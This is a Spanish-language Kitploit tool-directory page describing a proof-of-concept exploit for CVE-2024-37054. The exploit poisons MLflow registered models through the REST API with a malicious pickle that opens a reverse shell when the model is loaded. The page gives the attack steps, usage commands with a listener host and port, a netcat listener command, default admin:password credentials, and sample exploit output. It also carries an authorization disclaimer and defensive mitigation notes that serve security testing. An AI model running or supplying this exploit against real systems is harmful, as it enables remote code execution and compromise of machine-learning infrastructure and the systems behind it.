Skip to content
KitploitKITPLOIT
HerramientasExploitsBlog
Log in
Enviar
HerramientasExploitsBlog
Enviar

¡Herramientas de Hacking, PenTest y Ciberseguridad para tu Arsenal de Seguridad!

Kitploit es un directorio de herramientas de hacking, ciberseguridad y pentesting. Descubre las últimas actualizaciones de proyectos para encontrar vulnerabilidades, analizar sistemas, automatizar pruebas y fortalecer tu seguridad.

··Feeds·Contacto·Privacidad·© 2026 Kitploit

Directorio de Herramientas

Categorías

Ver todas las categorías
Loading categories
CVE-2024-37054 — Prueba de concepto que envenena modelos registrados de MLflow a través de la API REST, incrustando un pickle malicioso para desencadenar RCE cuando se carga el modelo. | Kitploit
Herramientas/GitHubGitHub/bardlaudian/cve-2024-37054
Herramientas DefensivasAnálisis de VulnerabilidadesExplotaciónExplotación de Aplicaciones WebPruebas de PenetraciónAprendizaje AutomáticoRed TeamingDesarrollo de PayloadsSeguridad de IA
GitHubbardlaudian/cve-2024-37054

CVE-2024-37054

Prueba de concepto que envenena modelos registrados de MLflow a través de la API REST, incrustando un pickle malicioso para desencadenar RCE cuando se carga el modelo.

1hace 1 díaAún no revisado

Más Populares

Ver todos →

Descubre las herramientas más usadas por nuestra comunidad.

Explora todas las herramientas

Explora nuestra colección de herramientas

Ver todas las herramientas →
Ver Repositorio
Compartir

mlflow-pickle-rce

Prueba de concepto genérica para RCE por deserialización de pickle contra registros de modelos de MLflow (estilo CVE-2024-37054). Solo se comunica con la API REST de MLflow — sin suposiciones sobre ninguna aplicación cliente específica delante de ella.

⚠️ Solo para pruebas de seguridad autorizadas. Ejecuta esto únicamente contra sistemas que poseas o para los que tengas autorización explícita de prueba (entornos CTF/laboratorio, compromisos con alcance firmado, etc.). El acceso no autorizado a sistemas informáticos es ilegal en la mayoría de jurisdicciones.

Vulnerabilidad

El flavor pyfunc de MLflow carga un modelo registrado deserializando (unpickling) un artefacto model.pkl cada vez que se llama a mlflow.pyfunc.load_model() — ya sea que eso se active directamente a través de la UI/API de MLflow, o indirectamente por alguna aplicación cliente que ejecuta inferencia contra un modelo registrado.

El módulo pickle de Python puede ejecutar código arbitrario durante la deserialización mediante el método __reduce__ de un objeto. Si un atacante tiene suficiente acceso a la API de MLflow para:

  • crear una ejecución de experimento,
  • subir artefactos a esa ejecución, y
  • registrar una versión de modelo que apunte a esos artefactos,
  • ...puede introducir de contrabando un pickle malicioso como model.pkl. La próxima vez que algo cargue esa versión del modelo, el código del atacante se ejecuta en el contexto del proceso que realiza la carga (el propio servidor de MLflow, o una aplicación cliente que integra MLflow).

    Esta es la misma primitiva subyacente detrás de varios CVE de MLflow, incluidos CVE-2023-6015, CVE-2023-6018 y CVE-2024-37054. Es particularmente peligrosa porque las instancias de MLflow se despliegan con frecuencia sin autenticación, o con credenciales predeterminadas bien conocidas (admin:password).

    Qué hace este script

    Puramente basado en API, en orden:

    1. Verifica el acceso a la API (autenticación básica HTTP).
    2. Crea un modelo registrado (o reutiliza uno al que ya tengas acceso mediante --model-name).
    3. Crea una ejecución bajo un experimento dado.
    4. Construye y sube:
      • model.pkl — un pickle cuyo __reduce__ llama a os.system() para lanzar una reverse shell.
      • MLmodel — el manifiesto que declara un flavor python_function / sklearn respaldado por ese pickle.
    5. Registra una nueva versión de modelo que apunta a esos artefactos.
    6. Opcionalmente transiciona esa versión a una etapa dada (por defecto: Production), ya que muchas aplicaciones cliente solo cargan la versión de un modelo en etapa Production.

    Qué NO hace este script

    No descubre ni activa la carga real del modelo — esa parte es diferente para cada despliegue:

    • A veces la propia UI/API de MLflow carga el modelo directamente.
    • A veces una aplicación cliente separada llama a mlflow.pyfunc.load_model() detrás de algún endpoint (una ruta /predict, un trabajo por lotes programado, etc).

    Necesitas:

    • Obtener el --model-name objetivo tú mismo — desde la UI de MLflow, la API de MLflow (/api/2.0/mlflow/registered-models/search), o lo que devuelva una aplicación cliente cuando registra un modelo en tu nombre.
    • Activar la carga tú mismo, como sea que lo haga el objetivo.

    Requisitos

    root@kitploit:~
    pip install requests --break-system-packages
    

    Python 3.8+. Sin otras dependencias.

    Uso

    root@kitploit:~
    python3 mlflow_pickle_rce.py \
        --mlflow http://mlflow.target.tld \
        --model-name my-target-model \
        --lhost 10.10.14.1 --lport 4444
    

    Inicia un listener antes o después de ejecutar:

    root@kitploit:~
    nc -lvnp 4444
    

    Luego activa la carga como lo haga la aplicación objetivo (su propio endpoint de inferencia, un trabajo por lotes, cargar el modelo manualmente desde la UI de MLflow, etc).

    Todas las opciones

    FlagPor defectoDescripción
    --mlflow(requerido)URL base de MLflow
    --model-namealeatorioNombre del modelo registrado a envenenar; se crea si no existe
    --lhost(requerido)IP de tu listener
    --lport4444Puerto de tu listener
    --usernameadminNombre de usuario de autenticación básica de MLflow
    --passwordpasswordContraseña de autenticación básica de MLflow
    --experiment-id0ID del experimento bajo el cual crear la ejecución
    --stageProductionEtapa a la que promover la versión maliciosa, o none para omitir la transición

    Sesión de ejemplo

    root@kitploit:~
    $ python3 mlflow_pickle_rce.py --mlflow http://mlflow.target.tld \
        --model-name my-target-model --lhost 10.10.14.1 --lport 4444
    [*] Verifying MLflow access at http://mlflow.target.tld ...
    [+] MLflow API reachable (200)
    [*] Ensuring registered model 'my-target-model' exists ...
    [+] Model 'my-target-model' already exists, reusing it
    [*] Creating run under experiment 0 ...
    [+] Run ID: 3f9b1c2a...
    [*] Uploading MLmodel ...
    [+] MLmodel upload: 200
    [*] Uploading model.pkl ...
    [+] model.pkl upload: 200
    [*] Registering malicious model version for 'my-target-model' ...
    [+] Model version: 200 - {...}
    [*] Transitioning version 2 to stage 'Production' ...
    [+] Stage transition: 200
    
    [+] Malicious model version is registered.
    [+] Model name: my-target-model
    [+] Listener: nc -lvnp 4444
    [+] Now trigger whatever loads this model version in the target app
        (e.g. its /predict endpoint, or wait for a scheduled job that
         calls mlflow.pyfunc.load_model() on it).
    

    Detección y mitigación (notas defensivas)

    • Nunca expongas el servidor de tracking/modelos de MLflow sin autenticación, y nunca dejes credenciales predeterminadas (admin:password) en su lugar.
    • Restringe quién puede registrar versiones de modelos. Registrar una versión de modelo equivale a ejecución de código arbitrario en cualquier cosa que la cargue después — trata ese permiso como tratarías el acceso de despliegue.
    • No deserialices artefactos no confiables. Cuando sea posible, usa flavors/formatos de serialización de MLflow que no dependan de pickle (p. ej. ONNX, o flavors con serialización más segura), o valida/aisla la carga de modelos.
    • Monitorea llamadas inesperadas a registered-models/create, model-versions/create y transition-stage en los registros de auditoría/acceso de MLflow, especialmente desde cuentas que no deberían publicar modelos a Production.
    • Segmenta en red el proceso que carga modelos (el servidor de MLflow y/o cualquier aplicación cliente que llame a load_model()) para que una primitiva de ejecución de código allí no tenga una ruta directa a sistemas internos sensibles.

    Referencias

    • CVE-2024-37054 / CVE-2023-6015 / CVE-2023-6018 — problemas de deserialización de pickle en MLflow (busca en NVD/MITRE los avisos actuales y los rangos de versiones afectadas).
    • Documentación de la API REST de MLflow

    Licencia

    MIT — consulta LICENSE.

    Descargar herramienta